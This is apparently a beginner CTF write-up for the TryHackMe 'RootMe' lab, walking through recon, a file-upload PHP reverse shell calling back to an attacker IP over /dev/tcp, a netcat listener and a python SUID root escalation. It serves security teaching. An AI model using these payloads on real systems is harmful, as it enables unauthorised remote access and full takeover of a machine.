TryHackMe write-up: RootMe
Room: A ctf for beginners, can you root me?
Disclaimer
The content of this article is for educational purposes only. Do not use the techniques described here on any system without the explicit consent of the owner.
Recon
Scan the machine, how many ports are open? Let’s use nmap to find out:
There are two ports open: ssh and http.
What version of Apache is running? nmap has flag -sV for service version detection:
Apache httpd 2.4.41 is running and listening on port 80.
What service is running on port 22? As it was already discovered, it’s SSH.
Find directories on the web server using the GoBuster tool. & What is the hidden directory? Attackboxes on TryHackMe come with pre-installed wordlists. The common wordlist should do the trick:
The hidden directory is /panel. If I open it in firefox, there is a form to upload a file:
Reconnaissance is completed. Let’s move to the next task.
Getting a shell
Find a form to upload and get a reverse shell, and find the flag.
Craft a script to upload and establish a reverse shell:
<?php system("bash -c \"bash -i >& /dev/tcp/10.64.98.210/8080 0>&1\""); ?>It creates an interactive shell on the target host that redirects stdout, stdin, and stderr to the remote host specified in the script on port 8080.
Get Viktor Chalyi’s stories in your inbox
Join Medium for free to get updates from this writer.
Set up a listener on the remote host with netcat to receive a connection and listen on port 8080:
nc -lvnp 8080- -l (listen): tells netcat to listen for inbound connections
- -v (verbose): prints detailed information (like who connected) to your terminal screen
- -n (numeric-only): forces netcat to use direct IP addresses to avoid slow DNS lookups
- -p (port): specifies the exact local port netcat will bind to
The flag is in the user.txt file on the server:
Privilege escalation
Search for files with SUID permission, which file is weird?
SUID (Set User ID) is a special Linux file permission that allows a user to execute a file with the privileges of the file’s owner instead of their own. We can search for such files with the following command:
find / -user root -perm /4000 2>/dev/nullThere are a couple of executables that can be used to escalate privileges. To find out how, there is a website: https://gtfobins.org/. GTFOBins is a curated list of Unix-like executables that can be used to bypass local security restrictions in misconfigured systems. Let’s explore /usr/bin/python:
Find a form to escalate your privileges.
/usr/bin/python -c 'import os; os.setgid(0); os.setuid(0); os.execv("/bin/sh", ["/bin/sh"])'Privileges have been escalated to the root user now, and we can find the flag in the root.txt:
The flag has been successfully obtained.
